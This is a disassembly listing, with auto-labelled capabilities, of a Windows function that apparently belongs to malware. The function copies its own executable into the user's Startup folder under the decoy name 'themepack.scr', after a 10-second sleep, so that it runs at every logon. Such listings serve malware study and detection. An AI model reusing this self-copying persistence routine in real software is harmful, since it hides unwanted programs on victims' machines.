Function at 0x1400021f0
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Get startup folder
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor r14d, r14d
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400024fc
mov r8d, 0x104
lea rdx, [rbp + 0x190]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rax, [rbp - 0x80]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x140002280
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140002530
mov qword [rsp + 0x48], 7
cmp rbx, 7
ja 0x1400022d0
mov qword [rsp + 0x40], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140028790
mov word [rsp + rbx + 0x30], r14w
jmp 0x140002382
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400022ec
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000231e
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000252a
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000234a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000252a
mov rcx, rax
call fcn.140008e38
test rax, rax
je 0x140002536
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000235c
test rcx, rcx
je 0x140002359
call fcn.140008e38
mov rdi, rax
jmp 0x14000235c
mov rdi, r14
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x80]
mov rcx, rdi
call fcn.140028790
mov word [rbx + rdi], r14w
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 0xe
jb 0x1400023d3
lea rax, [rdi + 0xe]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi*2]
mov r8d, 0x1c
lea rdx, str._themepack.scr
call fcn.140028790
mov word [rbx + rdi*2 + 0x1c], r14w
lea rax, [rsp + 0x30]
jmp 0x1400023f4
mov qword [rsp + 0x20], 0xe
lea r9, str._themepack.scr
xor r8d, r8d
lea edx, [r8 + 0xe]
lea rcx, [rsp + 0x30]
call fcn.140006220
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140002468
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002463
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002536
call fcn.140008e30
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002488
mov bl, 1
jmp 0x1400024b9
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
xor r8d, r8d
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1400024f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000253c
call fcn.140008e30
movzx eax, bl
jmp 0x1400024fe
xor al, al
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140008e10
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400012b0
int3
call fcn.140001350
int3
call fcn.1400120a4
int3
call fcn.1400120a4
int3